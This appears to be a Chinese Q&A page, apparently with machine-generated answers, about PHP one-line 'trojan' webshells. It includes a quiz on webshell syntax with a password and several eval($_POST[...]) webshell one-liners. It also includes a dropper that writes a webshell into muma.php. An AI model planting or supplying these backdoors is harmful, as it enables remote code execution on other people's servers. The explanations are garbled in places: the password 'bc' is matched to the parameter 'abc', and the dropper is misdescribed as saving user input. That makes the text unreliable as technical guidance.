书写一句话木马,并且设置密码为bc,以下哪个是正确的写法? A.<?php @eval($_REQUEST['abc'])? B.<?php @eval($COOKIE['abc'])? C.<?php @eval($POST['cba]);? D.<?php @eval($FILES['abc'])?
时间: 2023-11-06 12:58:37 浏览: 49
正确的写法是A.<?php @eval($_REQUEST['abc'])?,并且设置密码为bc。
该木马的含义是:通过发送HTTP请求,将木马代码传递到服务器,并在其中执行eval函数中的代码。其中,@符号用于抑制错误信息,$_REQUEST是一个超全局数组,可以接收POST、GET、COOKIE等方式传递的参数,因此可以接收到发送的HTTP请求中的参数。设置密码为bc,则需要在发送HTTP请求时,将参数名设置为abc,并在参数值中传递要执行的命令。
因此,选项A是正确的写法。选项B中使用了COOKIE数组,无法接收到参数,选项C中POST数组的参数名和密码不一致,选项D中FILES数组主要用于上传文件,不适合用于传递命令。
相关问题
<?php @eval($_POST['pass']);?> <?php @eval($_POST['attack']);?> <?php @eval($_POST['attack']);?> <?php @eval($_POST['attack']);?> <?php @eval($_POST['attack']);?> <?php @eval($_POST['attack']);?> <?php @eval($_POST['hack']);?>和<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>中的hack为什么一个加单引号,一个不加单引号
这段代码中的 `hack` 是一个字符串,它的作用是作为参数传递给 `eval()` 函数进行执行。在第一行代码中,`$_POST['hack']` 是一个变量,所以需要使用单引号将其括起来。这样做是为了确保 `$_POST['hack']` 中的内容被视为字符串而不是其他类型的数据。而在第二行代码中,`$_POST[hack]` 没有使用单引号,这是因为它被视为一个常量而不是变量。在这种情况下,如果不存在名为 `hack` 的常量,PHP 会将其作为字符串处理。
请注意,这段代码涉及到 `eval()` 函数,它可以执行传递给它的任意 PHP 代码。这种使用方式是非常危险的,因为恶意用户可以通过提交恶意代码来执行不受控制的操作。建议在编写代码时避免使用 `eval()` 函数,并使用安全的输入验证和过滤来防止代码注入攻击。
<?php @eval($_POST['hack']);?>和<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>中的hack的区别和作用
这两段代码中的 `hack` 都是字符串,但它们的作用和用法稍有不同。
在第一段代码 `<?php @eval($_POST['hack']);?>` 中,`$_POST['hack']` 是一个变量,它的值作为字符串参数传递给 `eval()` 函数。这意味着,如果用户通过 POST 请求将恶意代码作为 `hack` 参数提交,该恶意代码将被执行。这种使用 `eval()` 函数的方式非常危险,因为它可以执行任意的 PHP 代码,导致安全风险。
而在第二段代码 `<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>` 中,`'<?php @eval($_POST[hack]);?>'` 是一个字符串,它被写入到名为 `muma.php` 的文件中。这段代码的作用是将用户通过 POST 请求传递的 `hack` 参数作为字符串写入到文件中。这样,如果用户提交了恶意代码作为 `hack` 参数,该恶意代码将被写入到文件中。
需要注意的是,这两段代码都存在安全风险,并且涉及到对用户输入的不受控制执行。这种使用方式容易导致代码注入攻击和其他安全问题。因此,在编写代码时,请避免使用不受信任的用户输入直接执行,并采取安全措施来验证和过滤用户输入。